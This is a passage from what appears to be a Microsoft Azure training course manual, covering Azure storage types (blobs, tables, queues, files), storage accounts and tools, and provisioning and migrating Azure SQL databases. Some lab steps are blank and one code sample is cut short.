classroom machine. Unblock the file that you downloaded before starting installation
11. Initiate VPN connection by using VPN client and ensure that you can establish it.
12. Execute ipconfig command in Command prompt and ensure that you have IP address from
10.0.0.0/24 scope assigned to PPP adapter VNET1.
13. Disconnect from VNET1.
Results: After completing this exercise, you will have established a point-to-site connectivity.
Best Practice
Before you create any virtual networks, analyze your requirements and determine what type of virtual
network you need.
Carefully plan address space for virtual networks, especially if you are going to implement cross-site
connectivity.
Use point-to-site VPNs when you want to provide access from single computers at remote locations
to your Azure virtual network.
Issue a separate client certificate for each client that will be using a point-to-site VPN.
Troubleshooting Tip
Module 5
Cloud Storage
Contents:
Module Overview
5-1
5-2
5-12
5-18
5-20
Module Overview
As a part of the Microsoft Azure platform, Microsoft also offers storage that you can use for various
purposes. Cloud-based storage, available in Microsoft Azure, can reduce the size of your storage banks
and provide you more flexibility for managing your storage requirements. You can use storage in Azure
for virtual machines, but also for databases, tables, and message queueing. In this module, you will learn
about cloud storage in Microsoft Azure.
Objectives
After completing this module, you will be able to:
Lesson 1
Before you implement and use cloud-based storage, it is important that you have a good understanding
of the available storage options and the storage types that you can use in Azure. Typically, you do not
manage and configure storage within the Azure platform the same way that you manage your onpremises storage. Cloud-based storage is provisioned from your storage account, and you configure it
based on your needs. In this lesson, you will learn about cloud storage in Microsoft Azure.
Lesson Objectives
After completing this lesson, you will be able to:
Describe blobs.
Describe tables.
Describe queues.
Blob storage can store any type of data, text or binary, such as media files, documents, installation
images, and other types.
Table storage is a NoSQL key-attribute data store, which allows for rapid development and fast access
to large quantities of data.
Queue storage provides reliable messaging between applications and workflow processing, and
communication between components of cloud services.
File storage offers shared storage for applications that use standard SMB 2.1 protocol. With file
storage, virtual machines can share data across application components through mounted shares, and
on-premises applications can access file data in a share through the File service REST API.
Types of Azure storage will be discussed with more detail in other topics in this lesson.
The flexibility of Azure storage enables you to use it in a wide range of scenarios. The following core uses
will help you understand Azure storage better.
Building data-sharing applications. Social networks and applications are very popular and are
growing rapidly. These networks and applications both rely on data sharing, and they often need to
present data to people worldwide. This type of use is an excellent fit for Azure Storage because Azure
Storage is spread across worldwide datacenters.
Big data storage and analysis. With the growth of social networks and smart homes, companies and
users have been generating increasing amounts of data. In some cases, this data becomes more
valuable after it has been analyzed. In recent years, big data services such as Hadoop have tried to
provide such services. Because Azure Storage is cloud-based, it can accommodate big data and can
help facilitate analysis of that data.
Backups. Companies have to back up their data. A good practice is to back up your data to an off-site
location so that your data is safe in case of a local disaster. With Azure Storage, you can use Azure as
your off-site location. Not only can you back up your infrastructure and Azure services to Azure, but
you also can back up devices and other items to Azureincluding smartphones and personal
computers.
Note that there are many other scenarios in which Azure can be a solution, especially infrastructure-based
scenarios that involve virtualization. Some of these scenarios will be covered in later lessons, demos,
or labs.
Public use of Azure Storage is increasing. Everyday services that individuals access or consume might be
built on and delivered from Azure Storage, but the users might not always realize it. The following list
describes a few examples of public use of Azure Storage:
Microsoft Xbox One. Xbox One has a feature that enables users to record in-game action as video so
that users can share game action with friends on social networks or on the Internet. This feature,
known as the Game DVR feature, uses Azure Storage. Other Xbox features also use the Azure Storage
blob storage, table storage, and queue storage features.
Microsoft OneDrive. Formerly known as Microsoft SkyDrive, OneDrive is a cloud-based storage service
for end users and organizations that want to store files in the cloud and share files with others via the
cloud easily. OneDrive is integrated into Windows 8 and newer versions, which enables users to
transfer files to the cloud storage by simply right-clicking on a file and choosing to send it to
OneDrive. OneDrive uses blob storage in Azure.
Bing. The search engine Bing uses blob storage, table storage, and queue storage in Azure. Azure
Storage is used in Bing to store Twitter and Facebook public status feeds that are sent to Bing, and to
provide Bing search results.
Skype. The Skype service uses blob storage, table storage, and queue storage for Skype video
messaging.
Azure Storage pricing varies depending on how you use and configure the storage. Azure Storage pricing
is based on three elements:
Storage capacity. Pricing varies widely based on the type of storage you use. At the time of writing
this course, prices in USD range from 2.2 cents per gigabyte per month to up to 12 cents per gigabyte
(GB) per month.
Number of read and write operations to Azure Storage. The current price for storage transactions is
.0005 cents per 100,000 transactions.
Amount of data transferred out of Azure, which is also called data egress. Note that data goes into
Azure at no charge. Data going out is charged per gigabyte, based on zones. The first 5 gigabytes
of data transferred out is free. Thereafter, data is charged at up to USD 25 cents per gigabyte for
lower use in the most expensive zone, and as low as five cents per GB for higher use in the least
expensive zone.
The region where the data is stored also affects Azure Storage pricing. Some regions are more expensive
than others. In addition, pricing is based on the type of storage. Pricing changes frequently.
Note: The prices shown above were current at the time we wrote this course.
Additional Reading: For the latest Azure Storage pricing, go to
Block blobs. Block blobs are optimized for streaming audio and video. Also, most of the other file
types that you upload to your Azure Storage will be stored in block blobs. The maximum size of a
block is 4 megabytes (MBs) and the maximum size of a block blob is 200 GB. Each block from a single
blob is identified by a Block ID, and can also include an MD5 hash of the blob content. When you
upload a large file to a block blob, the file is divided into blocks, which can be uploaded concurrently
and then then combined together into a single file. This results in a faster upload time. Also, when it
comes to data modification, blob data can be modified on the block level. This means that individual
blocks can be added to an existing blob. Alternatively, existing blocks can be replaced by other
blocks, and some specific blocks within a blob can be deleted.
Page blobs. Page blobs are 512-byte pages. They are optimized for random read and write
operations. The maximum size of a page blob is 1 TB. Most commonly, this type of blob is used to
storage virtual hard drives for virtual machines. Operating system drives in Azure virtual machines use
page blobs.
Currently, it is not possible to change the type of blob storage once you create it. There are several
scenarios in which you use blob storage in Azure. For example, you can use blob storage to share files
with clients or to offload some content from your web server. Also, blob storage in Azure provides
persistent data storage for Azure Cloud services because hard drives used in Cloud service instances are
not persistent.
To use blob storage, you must create one or more containers within your storage account. Storage
containers are created by using the Azure portal. All blobs are located in storage containers. An Azure
Storage account can contain an unlimited number of containers, but total size of storage containers
cannot exceed 100TB.
Each blob can be accessed uniquely by using a URL in the following format:
http://<storage-account-name>.blob.core.windows.net/<container-name>/blob-name
Microsoft provides several Software Development Kits (SDKs) and APIs that developers can use for
programmatically working with blob storage. At the time of writing this course, the following languages
and platforms are supported:
PHP SDK
node.js SDK
Ruby SDK
Python SDK
All the Azure services, including Storage, are based on a REST API over HTTP/HTTPS which means it is
possible to make your own calls from your code to that API.
Excel spreadsheet because all of tables have collections of rows (in this context, entities) and support
manipulating and querying the data contained in the rows. The key differences between table storage and
a database is that there is no efficient way to represent relationships between different data in table
storage. In addition, there is no database schema to handle data-rules enforcement.
Table storage has the following features:
Entities in the table storage support the following data types: ByteArray, Boolean, DateTime, Double, Guid,
Int32, Int64 and String (up to 64 KB in size). Each entity created within table storage must have the
following properties defined: PartitionKey, RowKey, and TimeStamp. By using PartitionKey, you can group
entities in the table, while the RowKey is an identifier for each entity. PartitionKey and RowKey, combined,
uniquely identify an entity within a table. This type of identification is very similar to the primary key in
relational database. The TimeStamp property includes data about the last time of modification.
Storing and accessing data in Table storage is mostly be done from applications. Most applications use
the client library to store data to the tables, or call the REST API. With C# applications, you will need the
Azure Storage Library for .NET to create and manage tables. Code addresses tables in an account by using
this address format:
http://<storage account>.table.core.windows.net/<table>
To pass messages from an Azure Web role to an Azure Worker role. A Web role is usually a website or
web application, often one that is running on the Windows Server operating system and Internet
Information Services (IIS), or on a non-Microsoft web server. A Worker role is typically a Windows
service or process that manages background processing tasks.
To create a bucket of tasks to process asynchronously. The tasks are usually processed by the
Worker role.
You can connect to shares by using Windows PowerShell. The new Azure Files module for Windows
PowerShell has new cmdlets to support Azure File Services. It includes functionalities such as
downloading content from Azure Files shares and creating new shares. One of the new cmdlets is
Get-AzureStorageFileContent, which you can use to download content from a share.
You can connect to shares by using REST APIs. The REST API includes many operations that are
beyond the scope of this course.
Note: The Azure File Services is currently in preview, and you must manually add it to an
account from the preview portal.
Azure File Services is one of several storage services in Azure. It is important to know when you should
use Azure Files in your application, and when you should use blob storage or disk storage. Often, an
organization will use all three storage methods. The following examples show common uses for Azure
Files, disk storage, and blob storage:
Azure Files. Applications, services, and use cases that already rely on SMB are good candidates to use
Azure Files. When you migrate on-premises resources to the cloud, the transition may be smoother if
you maintain existing access methods such as SMB. Another potential use is shared administrative
tools and shared development tools. By placing shared tools into Azure Files, all administrators and
developers can quickly and easily access the tools from Azure virtual machines. Note that access to
Azure Files is restricted by region when using SMB 2.1, and that access is not restricted by region
when you use REST APIs.
Disk storage. Disk storage is most often associated with virtual machines. When storage is required for
a single virtual machine, disk storage is often used. For shared storage, disk storage is not the right
solution.
Blob storage. You should use REST APIs with blob storage or any other supported SDK. Blob storage
provides flexibility because developers can use the APIs to develop custom solutions, and the storage
is available in any region. In addition, blob storage is the best choice when a large amount of storage
is required, because a single storage container can support up to 500 TB of data.
When you name files and directories in Azure Files, keep in mind the following restrictions:
Container names must be a valid Domain Name System (DNS) name between three and 63
characters.
Container names must start and end with a number or letter, and they cannot start or end with a
dash.
SMB share names must not be more than 80 characters long, and you cannot use any of the following
characters: \ / [ ] : | < > + = ; , * ? ".
The following characters are not allowed in directory or file names: " \ / : | < > * ?.
Azure Files also supports SMB file locking when a file is open. The following options can be used by SMB
clients:
None. Declines sharing of a file that is open. Any request to read, write, or delete the file will fail until
the file has been closed.
Shared Read. Allows additional reads, often referred to as shared reads, to an already-open file.
However, writes and deletes will fail until the open file has been closed.
Shared Write. Allows additional writes, often referred to as shared writes, to an already-open file.
However, deletes will fail until the open file has been closed.
Shared Read/Write. Allows additional reads and writes to an already-open file. However, deletes will
fail until the open file has been closed.
Reference Links: To download the new Azure Files module for Windows PowerShell, go to
Additional Reading: For more information about File Service REST APIs, go to
Geo-redundant
Read-access geo-redundant
Redundancy
3 copies within a
single region
3 copies within a
single region, 3
additional copies in
secondary region
Read access to
replicas in
secondary region
N/A
No
Yes
Availability service
level agreement
(SLA)
Providing access to images, media files, and documents by using a web browser.
Unlike blobs, Azure table storage works with structured, but non-relational data. It presents a NoSQL data
store that can accept calls from services inside Azure and from services outside the Azure environment.
The Azure table storage is scalable, and it can store large data sets.
Common scenarios of usage for Azure table store are:
To store data sets that do not require complex joins, foreign keys, or stored procedures, and that can
be denormalized for fast access.
To access data by using the Open Data (OData) protocol and LINQ queries with WCF Data Service
.NET Libraries.
The Azure Queue storage stores messages that applications exchange. This type of storage also can be
accessed from any location by using HTTP or HTTPS protocols. Similar to Table storage, Queue storage is
very scalable and can store millions of messages.
Common usage scenarios for Queue storage include:
Number of storage transactions. The number of requests that are made against the storage, also
known as the number of storage transactions, is another important cost factor. Storage transactions
are typically charged for each 100,000 transactions made across all storage types, including blobs,
tables, queues, and files. Transactions are defined as both read and write operations to the Azure
Storage.
Egress data from the storage region. The egress data from the storage region is another aspect of
Azure Storage pricing. If the Azure Storage is accessed by another service that is not running in the
same region, then egress data is sent out of that particular Azure Storage region. Therefore, you
should group services together in the same region to attempt to reduce or eliminate egress data
charges. In addition to using multiple storage accounts for replication types, you should also use
multiple storage accounts for each region. This gives you maximum flexibility while ensuring that the
data being used by a service or application stays as local as possible.
You can upload multiple blobs simultaneously to maximize the upload performance of blob storage. The
Azure Storage service has specific limits for ingress traffic, per storage account, per region, and per
replication configuration. By uploading multiple blobs simultaneously, you can maximize the
performance.
To maximize the performance of table storage, use JavaScript Object Notation (JSON) to transmit data to
the table service. JSON reduces the payload size, which in turn reduces the latency of the table storage.
The Azure Storage Client Library 3.0 supports JSON for table storage, and has been optimized specifically
for Azure Storage. Another best practice when you use table storage is to avoid repeatedly scanning the
tables. Azure Storage provides a clustered index, which is a combination of the PartitionKey and RowKey
that you can use to avoid table scans, which in turn increases latency. Therefore, we recommend that you
always use PartitionKey in each query you create.
You should also monitor your logs and metrics to ensure that performance, availability, and security meet
or exceed expectations. Azure offers an Azure Storage Analytics tool that you can use to easily review your
logs and metrics.
Another best practice is to avoid using CreateIfNotExists repeatedly if you know that your queues,
containers, and tables are all created and will never be removed during the lifetime of the
application/deployment.
Lesson 2
Lesson Objectives
After you complete this lesson, you will be able to:
Create a blob.
Create a table.
Create and manage blobs and tables by using Microsoft Visual Studio.
You can create storage accounts by using a wizard from the Azure management portal. To quickly create
a storage account, you need to supply the following information:
The URL. This is the unique name supplied for the storage account. The URL for your storage account
must be unique worldwide, and it always ends with *.core.windows.net.
Location/Affinity Group. This is the regional datacenter or affinity group where the storage account
will be created. The following regions are location options:
o
East Asia
Southeast Asia
North Europe
West Europe
East US
West US
Japan East
Japan West
Brazil South
North Central US
South Central US
Subscription. This is the Azure subscription with which the storage account will be associated.
Replication. This is the setting that determines whether your storage is locally redundant or
redundant across more than one datacenter. The options are Locally Redundant, Geo-Redundant, or
Read-Access Geo-Redundant. Note that Microsoft will soon introduce zone-redundant storage (ZRS).
ZRS stores the equivalent of three copies of your data across multiple data centers.
Microsoft continues to expand and revamp its datacenters and regions. For example, two new regions
have been announced for Australia. It is important to keep informed about the available regions so that
you can align them with your organizational regions. In addition, regions play a big role in security and
compliance. They help you meet organizational data security policies that might be based on region and
that must adhere to local laws.
After a storage account has been created, it can be used by four types of storage: blob storage, table
storage, queue storage, and files storage.
There are numerous tools and services in addition to the Azure management portal that you can use to
manage your Azure Storage. The most popular ones include:
Azure Web Storage Explorer. This tool is a web-based storage management tool that is used mainly
for uploading and downloading content via a browser.
AzCopy. This free downloadable command-line tool is designed for moving small-sized and
medium-sized amounts of data into and out of Azure. However, you should use the import/export
service for very large amounts of data that would take several days to transfer with AzCopy.
Azure Software Development Kit (SDK) for .NET. Storage also can be managed by using the Azure
SDK for .NET or by using Azure Management Libraries for .NET. Developers can create containers,
upload blobs to a container, list blobs in a container, and delete blobs from a container by using the
Azure SDK for .NET.
REST APIs for Azure. All Azure Storage can be managed by using REST APIs. Management can occur
over the Internet by using HTTP or HTTPS, and in Azure through Azure-hosted resources.
Windows PowerShell. The Azure module for Windows PowerShell has dedicated management
cmdlets for Azure. You can perform the vast majority of Azure storage management tasks with the
Azure module. The cmdlets are organized into different groups such as Azure managed cache
cmdlets, Microsoft Azure SQL database cmdlets, and Azure profile cmdlets, most of which are outside
of the scope of this course.
Import/Export service. The import service imports data from hard drives you ship to an Azure data
center into Azure Storage. The export service ships you your organizations Azure Storage data on a
hard drive that you sent, empty, to an Azure data center. This service is useful when you transfer the
data over a network would be too expensive or otherwise impractical.
When you send data by using the import service, you must encrypt the data with BitLocker before
you ship it. The external hard drives must be 3.5-inch Serial Advanced Technology Attachment (SATA)
II/III, and can be no larger than 4 TB.
When you export data, you must provide a supported hard drive. All data will be encrypted before it
ships, and a BitLocker key will be provided through the management portal.
Reference Links: To access the Azure Web Storage Explorer tool, go to
Additional Reading: For more information on Azure Storage Explorers, go to
Creating a Blob
To create a blob, you must first create a storage
account, and also a container within the storage
account. You can use the Azure portal to create
containers in your storage account. In the Azure
preview portal, you should select your storage
account and then in the storage account
administration pane, you should use Containers
pane to create a new container. Besides
configuring container name, you can also
configure access type for each storage container.
By default, each storage container access is set to
Private, which means that no anonymous access
will be allowed. You can also choose to enable blob list or access through anonymous requests.
After you create a container in your storage account, you can start to upload or create blobs, tables, and
queues. You cannot use the Azure portal to upload blobs, but you can use alternative tools or code in
your application to do this.
For example, you can use the Azure Web Storage Explorer to upload files from your computer to the
storage container in your storage account. The files that you upload are saved as blobs. You can also use
this same tool to create a new container for blobs, and new tables and queues. To access your storage
account using Azure Web Storage Explorer, you need to use your storage account name and access key
for your storage account. Access keys and the storage account name are created when you first create the
storage account, and you can view them at any time by browsing to your storage account in Azure
preview portal, and then clicking on the Keys tile.
To access and manage your storage account and create blobs from Visual Studio, you should first
configure the connection string for Azure service configuration. For example, when you create a web or a
worker role that requires access to a private storage account, you should open Solution Explorer in Visual
Studio, and then in the roles folders, open the properties of your web role or worker role. You should then
choose the Settings tab and select to add new settings. For the new setting, you should choose the
Connection String type, and then type your storage account name and access key in the Create Storage
Connection String window.
If the application that you are working on is not Azure cloud service, then you can use .NET configuration
files, such as web.config and app.config, to configure a connection string for your storage account.
You store the connection string using the <appSettings> element as follows. Replace the account name
with the name of your storage account, and account key with your account access key:
<configuration>
<appSettings>
<add key="StorageConnectionString"
value="DefaultEndpointsProtocol=https;AccountName=account-name;AccountKey=account-key" />
</appSettings>
</configuration>
To access Blob storage programmatically, you should first obtain an assembly that contains the Azure
storage management classes. You can use NuGet to get the Microsoft.WindowsAzure.Storage.dll
assembly. To do this, you should right-click your project in Visual Studio Solution Explorer, and choose
Manage NuGet Packages. Then you should search for WindowsAzure.Storage and install it. By using this
procedure, you will get all necessary Azure Storage package and dependencies. Alternatively, you can
install Azure SDK for .NET. This package also contains Microsoft.WindowsAzure.Storage.dll.
In the code that you want to use to programmatically access Azure Storage, you should first add Azure
declarations at the top of the code. These declarations are:
using Microsoft.WindowsAzure.Storage;
using Microsoft.WindowsAzure.Storage.Auth;
using Microsoft.WindowsAzure.Storage.Blob;
To represent your storage account, you can use CloudStorageAccount type. For Azure project
templates, or if you have reference to Microsoft.WindowsAzure.CloudConfigurationManager, you can
use the CloudConfigurationManager type to retrieve your storage connection string and storage
account information from the Azure service configuration. If you do not have reference to
Microsoft.WindowsAzure.CloudConfigurationManager, and you store your connection string data in
web.config or app.config files, you can use ConfigurationManager to retrieve the connection string.
To upload a file as a blob, by using code, you should get a container reference and use it to get block
blob reference. Once you have it, you can upload the data stream by using the UploadFromStream
method.
Additional Reading: For more information on how to use blob storage from the .NET
Framework, go to
Demonstration Steps
1.
Create another new container for the 10979s<yourinitials> storage account by using the following
settings:
o
Name: 10979c<yourinitials>
Access: Blob
2.
Manage your access keys to view your primary access key, and then copy the keyto Clipboard.
3.
4.
Open the storage-key.txt file, and paste your primary access key into it.
5.
6.
Sign in by using 10979s<yourinitials> as the account and the access key as the key.
7.
8.
9.
Creating a Table
To create a table in your storage account
container, you can use methods similar to the
ones you use to create blobs. You must have a
storage account created, and one or more
containers the storage account. Then, you can
use Azure Web Storage Explorer to create a new
table, and to insert data into the table you
created. You can use this same utility to execute
a query against your existing table.
You cannot use the Azure portal to create or
manage tables, create data, or execute queries.
To create a table, by using a code, you should use CloudTableClient object. It lets you get reference
objects for tables and entities within the table. The following example code shows how to create a
CloudTableClient object and use it to create a new table. For this example, we assume that the application
that we work on is Azure Cloud Service, and that it uses a storage connection that is configured in Azure
application service configuration, as described in the preceding topic about bl();
Additional Reading: For more information on how to use Table storage from the .NET
Framework, go to
In VS Express 2013 for Web, in Solution Explorer, expand Bin folder under Website1 project. Ensure
that you can see Microsoft.WindowsAzure.Storage.dll under Bin folder in Solution Explorer.
2.
Scroll through the code of Default.aspx.cs and review parts of the code that are used for Azure
storage management.
3.
4.
As a result, the Internet Explorer window will open with the application started.
5.
In the Internet Explorer window, click Create a new Azure table. Then click Add an entry to the
Azure table. Then click Add a batch to the Azure table.
6.
Click Retrieve data from the Azure table. As a result, you should get a few lines of data in the text
box.
7.
Click Create a new Azure blob container. Then click Upload data to the Azure blob container.
8.
Click List content of the Azure blob container. As a result, you should get data in the text box.
9.
Objectives
After you complete this lab, you will be able to:
Lab Setup
Estimated Time: 30 minutes
Sign in to your classroom machine by using the credentials your instructor provides.
Students must have successfully completed the lab from Module 1 before starting this lab.
Before you start managing your data in Azure, you should first create a storage account and examine its
properties.
The main tasks for this exercise are as follows:
1.
2.
On the host computer, launch Internet Explorer, go to the Azure management portal at, and then sign in to your Azure account.
2.
URL: 10979s<yourinitials>
Pricing Tier: L1
On the Azure management portal, in the left pane, click BROWSE and then click Storage.
2.
3.
4.
Near the top of the 10979s<initials> pane, click PROPERTIES to view the properties of the storage
account.
Results: After you complete this exercise, you will have created your Azure storage.
Now that you have created your storage account, you need to create a container and upload some blob
data to the container.
The main tasks for this exercise are as follows:
1.
Add a container.
2.
Create another new container for the 10979s<initials> storage account by using the following
settings:
o
Name: 10979c<initials>
Access: Blob
Task 2: Add data to the container using Azure Web Storage Explorer
1.
Open Manage your key pane to access and view your primary access key, and then copy it to the
Clipboard.
2.
Open File Explorer, and then create a new text file named storage-key.txt. Save the file in your
Documents folder.
3.
Open the storage-key.txt file, and paste your primary access key into it.
4.
5.
Sign in by using 10979s<initials> as the account and the access key as the key.
6.
7.
8.
9.
Results: After completing this exercise, you will have created a blob container and uploaded the data.
Best Practice
Use multiple storage accounts for data that require different redundancy options.
Tools
Azure portal
Visual Studio
Module 6
Microsoft Azure Databases
Contents:
Module Overview
6-1
6-2
6-5
6-11
6-14
Module Overview
Microsoft Azure offers a range of services that you can use to manage data. In particular, Azure provides
relational database management services. You can use these services to implement a relational data store
for applications without having to manage a database management system (DBMS) or the operating
system that supports it.
In this module, you will learn about the options available for storing relational data in Azure. You will also
learn how to use Microsoft Azure SQL Database, which you can use to create, configure, and manage SQL
databases.
Objectives
After completing this module, you will be able to:
Lesson 1
Microsoft Azure provides two basic methods of deploying relational database services: platform as a
service (PaaS) and infrastructure as a service (IaaS). The method you select will depend primarily on the
requirements of the applications that consume database content. However, you should also consider
factors such as manageability, ease of provisioning, cost, and compatibility. Compatibility is especially
relevant in migration scenarios. This lesson introduces the relational database services that are available
in Azure. It also describes considerations for choosing the best solution for specific application and
business needs.
Lesson Objectives
After completing this lesson, you will be able to:
Describe the key differences between an SQL database in Azure and a Microsoft SQL Server instance
running on an Azure IaaS virtual machine.
When you deploy relational databases to Azure, you can choose from a range of options for deployment.
All of these options pertain to distinct service and product types. Azure provides two basic types of
relational database services, each of which can support different product types:
PaaS. This service allows you to focus on database-specific tasks by eliminating the required
management of the underlying database server platform. The two primary offerings in this category
are SQL Database and MySQL Database. SQL Database is based on Microsoft SQL Server technologies,
and MySQL Database is based on the ClearDB MySQL Database cloud service, which is available from
the Azure Store.
IaaS. You can create Azure IaaS virtual machines that host an instance of a relational database
management system (RDBMS). This can include instances of SQL Server, MySQL, or, any database
server such as Oracle that is supported on operating system platforms that you can deploy within
Azure IaaS virtual machines.
Feature parity with on-premises deployments of SQL Server. SQL Server instances running on Azure
IaaS virtual machines provide optimal compatibility with existing database applications. However,
Azure SQL Database does not provide support for:
o
Clustered indexes. Every table in an SQL database in Azure should have a clustered index. While you
can create a table without it, you cannot insert any data until this condition is satisfied.
SQL Server components. SQL Server instancelevel components, such as SQL Server Agent, SQL Server
Analysis Services, SQL Server Integration Services, SQL Server Reporting Services, or Master Data
Services, require a SQL Server instance running within an Azure IaaS virtual machine. Other Azure
services, such as HD Insight, provide some of this functionality.
The ability to make the relational database interact directly with other Azure services within the
same Azure virtual network. SQL Server instances running within an Azure IaaS virtual machine can
be located on the same Azure virtual network as IaaS or PaaS cloud services. However, with SQL
Database, network traffic always flows via its external endpoints. Depending on the intended
architectural design, this may be beneficial in providing an additional level of integration or isolation
in relation to other Azure services and public networks.
High availability and scalability. Azure supports high availability and scalability features, such as
AlwaysOn Availability Groups, database mirroring, replication, or table partitioning, only if you use a
SQL Server instance running within an Azure IaaS virtual machine. However, you can achieve an
equivalent level of resiliency and elasticity with much less management overhead, even if you cannot
use these features. To do so, you can use the built-in characteristics of Azure SQL Database service,
such as geo-replication, point-in-time restore, service tiers (scaling up), or federations (scaling out by
partitioning data horizontally).
Additional Reading: For a comprehensive list of features that SQL databases support, go
to.
Additional Reading: For information about identifying and resolving database
compatibility issues by using SQL Server Data Tools, go to.
Lesson 2
Azure SQL Database is a cloud-based SQL service that provides subscribers with a highly scalable platform
for hosting their databases. By using Azure SQL Database, organizations can avoid the cost and
complexity of managing SQL Server installations, and quickly set up and start using database applications.
In this lesson, you will learn how to provision and connect to an Azure SQL Database.
Lesson Objectives
After completing this lesson, you will be able to:
Azure component
Description
Azure subscription
Azure services that you create, view, and manage from the management
portal exist within the boundaries of a subscription. These boundaries provide
the scope of access control, manageability, reporting, and billing associated
with the current subscription.
Resource group
Resource groups are logical containers that arbitrarily group Azure resources
that are associated with each other. This allows you to represent their
functional and business dependencies. One common example of such a
grouping is an Azure website and an SQL database in Azure as two tiers of a
cloud-based web application.
SQL database servers are logical servers that host SQL databases. Each SQL
database server has a unique Domain Name System (DNS) name, local
administrator accounts, and firewall rules restricting access to its databases.
Such servers host individual instances of Azure SQL Database, in addition to
the master database that stores server configuration data. Databases located
in this logical server are likely to be in different servers in the backend
implementation, but are all accessible through the same endpoint address.
The most straightforward way to provision an SQL database in Azure relies on the graphical interface of
the Azure portal and the preview Azure portal. These are management portals in which you can create a
database and specify an existing or new logical server in which to host the database. Alternatively, you can
first create a new logical server and add a new database afterwards. The Azure portal also allows for
managing content of any existing instances of SQL Database, including standard create, read, update, and
delete operations.
Note: You will learn more about these operations in upcoming demonstrations in this
module.
You can also use other methods to create and manage the content of SQL databases in Azure. These
methods involve the use of traditional administrative and development tools, such as SQL Server
Management Studio, SQL Server Data Tools, Microsoft Visual Studio, or the sqlcmd command-line tool.
IT professionals can also leverage their scripting skills, because they can perform a majority of the
database management tasks by using cmdlets in the Azure PowerShell module.
When you create a database from the preview Azure portal, you must include the following information:
A name for the database. The name must be unique on a per-server basis.
The SQL Database pricing tier, which directly affects the cost of the database, and also determines the
following elements:
o
Performance level, which is expressed in database throughput units (DTUs). A DTU is a number
representing the overall power of the database engine resources, including processor, memory,
and input/output.
Supported resiliency and scalability features, such as Point In Time Restore, Geo-Restore or GeoReplication.
The collation that you want the database to apply. Collation defines the rules which determine how to
sort and compare data. You cannot change the collation after creating the database.
The server on which to create the database. You can select an existing server that you have previously
created in the same subscription, or create a new server. The server name must be unique globally.
The resource group in which to create the database and its server. If you select an existing server, the
database is automatically added to the existing resource group to which the server belongs. The
name of the resource group must be unique within the current subscription.
You can create a server instance on its own, or as part of the process of creating a database. In scenarios
where you are provisioning new databases for applications, you typically create the server as part of the
process of creating the first database. However, in some cases, you might want to create the server
without any user databases, and then add databases to it later; for example, by migrating them from an
on-premises SQL Server instance. Each server must have a globally unique name. The fully qualified
domain name (FQDN) of the server is in the form <server_name>.database.windows.net; for example,
abcde12345.database.windows.net.
When you create a server, you must specify the following information:
A globally unique server name (when using the Azure portal, this is generated automatically).
A login name and password for the administrative account that you will use to manage the server.
The geographical region of the Azure data center where the server should be located.
Whether or not to allow any other Azure services to connect to the server. Enabling access from any
other Azure service creates a firewall rule that permits access from the IP address 0.0.0.0.
A common method of creating a new SQL database in Azure or populating a newly created SQL database
is importing its content from another database, such as one that an on-premises SQL Server instance is
hosting. This might be required when migrating an on-premises application to the cloud, or because
developers created a database by using a full-fledged development instance of SQL Server in preparation
for deploying it to a production environment in SQL Database.
The import process must take into account two types of content. The first content type is the database
schema, which contains definitions of all database objects. The second content type is the actual data
stored in each of the database objects.
There are two primary techniques you can use to migrate both types of content from a SQL Serverhosted
database to Azure SQL Database:
Generate Transact-SQL scripts that capture all objects and their data in your SQL Server database, and
then run them in Azure SQL Database to create exact replicas of all objects and their data.
Export a data-tier application (DAC) from SQL Server in the form of a .bacpac file and import it into
Azure SQL Database. The .bacpac file contains both the schema and the existing data.
Of these two techniques, using a DAC is the simpler way to migrate the database. In addition, the Import
option, which is available when you create new databases by using the Azure portal, facilitates this
approach. You can export and import the DAC by using SQL Server Management Studio and the Azure
SQL Database management portal, or you can use a wizard in SQL Server Management Studio to
automate the entire process. The Export Data-Tier Application Wizard in SQL Server Management Studio
allows you to specify an Azure storage account as the destination for an exported package. The Import
Data-Tier Application Wizard enables you to specify an Azure storage account as the source for a package
that you want to import. This makes it easy to migrate a database from SQL Server to Azure SQL Database
in two stages, while using Azure Storage as an intermediary storage location for the DAC package.
Alternatively, you can use the Deploy Database Wizard to export a SQL Server database as a DAC package
and import it into an Azure SQL database server in a single operation.
You can easily copy your existing database within a SQL Server instance in Azure or between two SQL
Servers in Azure that belong to the same subscription. You can do so from the Azure portal, or by running
the corresponding T-SQL Statement. Such an approach is useful for performing an impromptu backup of
the source database prior to making changes to it, or for creating its replica for testing purposes.
You can create a copy of an existing SQL Database by running the following T-SQL statement. Note that
you must execute this command while connected to the master database of the Azure SQL server that will
host the copy.
CREATE DATABASE T-SQL statement
CREATE DATABASE destination_database_name
AS COPY OF [source_server_name.]source_database_name
Identify a SQL database and the SQL database server properties in the preview Azure portal.
Demonstration Steps
Create a SQL database in the preview Azure portal
1.
2.
Create a new SQL database by specifying its name, the name of a new Azure SQL Server instance in a
datacenter of your choice, a new resource group, selecting the pricing tier, and providing admin
credentials.
3.
Identify a SQL database and the SQL database server properties in the preview Azure
portal
1.
Examine database properties such as edition, status, maximum size, collation, creation date, and
server name.
2.
Display database connection strings that you can use to connect to the SQL database from ADO.NET,
Open Database Connectivity (ODBC), PHP, or Java Database Connectivitybased (JDBC-based)
applications.
3.
Examine the properties of SQL Server in Azure, such as server name, location, server admin login, and
resource group.
4.
Identify a SQL database and the SQL database server properties in the Azure portal.
Demonstration Steps
Identify a SQL database and the SQL database server properties in the Azure portal
1.
2.
Identify FQDN and the port number of the SQL server hosting the SQL database. View the SQL
database connection strings for ADO.NET, ODBC, PHP, and JDBC.
3.
Examine dashboard data, including information identifying the database and its status, as well as
Manage URL that you can use to connect to the database in the next demonstration.
4.
Review SQL Database statistics, such as deadlocks, storage usage, and failed and successful
connections.
5.
6.
7.
8.
9.
Take note of the ability to create an additional firewall rule allowing access to the server and all of its
databases from your current IP address. Keep in mind that you can also accomplish this automatically
when connecting to the database from the Azure portal, which will be part of the next demonstration.
From the Azure portal, use the Copy option of SQL Database.
2.
Azure SQL Database. Therefore, you will have to perform their respective tasks by executing TransactSQL statements that provide equivalent functionality.
sqlcmd. You can use the sqlcmd command-line tool to connect to Azure SQL Database servers and
execute Transact-SQL commands.
Visual Studio. Developers can use Visual Studio to create SQL databases and to manage and query
their content.
In addition, as mentioned earlier in this module, the Azure portal includes a link to the web-based
SQL Database management interface in which you can perform database development and management
tasks, including executing Transact-SQL commands. The new preview portal does not implement this
feature.
It is important to remember that you must configure SQL Server firewall settings in Azure to explicitly
allow incoming connections originating from a non-Azure location. Effectively, if you intend to use the
tools listed above from an on-premises environment, you will first need to modify Azure SQL Server
firewall settings by allowing connectivity from the public IP address of the perimeter network device
